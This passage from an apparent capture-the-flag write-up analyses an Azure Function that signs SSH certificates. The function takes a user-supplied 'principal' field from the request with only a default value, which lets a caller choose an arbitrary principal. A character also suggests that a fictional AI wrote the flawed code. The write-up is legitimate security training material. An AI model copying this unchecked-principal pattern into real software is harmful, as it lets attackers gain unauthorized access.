    "gitHubActionConfiguration": {
      "codeConfiguration": null,
      "containerConfiguration": null,
      "isLinux": true,
      "generateWorkflowFile": true,
      "workflowSettings": {
        "appType": "functionapp",
        "publishType": "code",
        "os": "linux",
        "variables": {
          "runtimeVersion": "3.11"
        },
        "runtimeStack": "python",
        "workflowApiVersion": "2020-12-01",
        "useCanaryFusionServer": false,
        "authType": "publishprofile"
      }
    }
  }
}

The source is on GitHub here (that repo doesn’t have any other public repos).

Source Analysis

The function_app.py file defines the function:

image-20231221142302970

On line 301 it calls parse_input on the request body as JSON to get ssh_pub_key and principal:

        ssh_pub_key, principal = parse_input(req.get_json())

On line 45, it gets principal from data using DEFAULT_PRINCIPAL as the value if it’s not present (which is typically the case, and must be “elf”):

    principal = data.get("principal", DEFAULT_PRINCIPAL)

It’s pretty clear to see that I can set whatever principal I want.

Epilogue

Alabaster is surprised I was able to access their account:

Alabaster Snowball

Alabaster Snowball

Oh my! I was so focused on the SSH configuration I completely missed the vulnerability in the Azure Function App.

Why would ChatNPT generate code with such a glaring vulnerability? It’s almost like it wanted my system to be unsafe. Could ChatNPT be evil?

Thanks for the help, I’ll go and update the application code immediately!

While we’re on the topic of certificates, did you know Active Directory (AD) uses them as well? Apparently the service used to manage them can have misconfigurations too.

You might be wondering about that SatTrackr tool I’ve installed on the monitor account?

Here’s the thing, on my nightly stargazing adventures I started noticing the same satellite above Geese Islands.

I wrote that satellite tracker tool to collect some additional data and sure enough, it’s in a geostationary orbit above us.

No idea what that means yet, but I’m keeping a close eye on that thing!

Something sketchy in space, and we can’t trust the AI…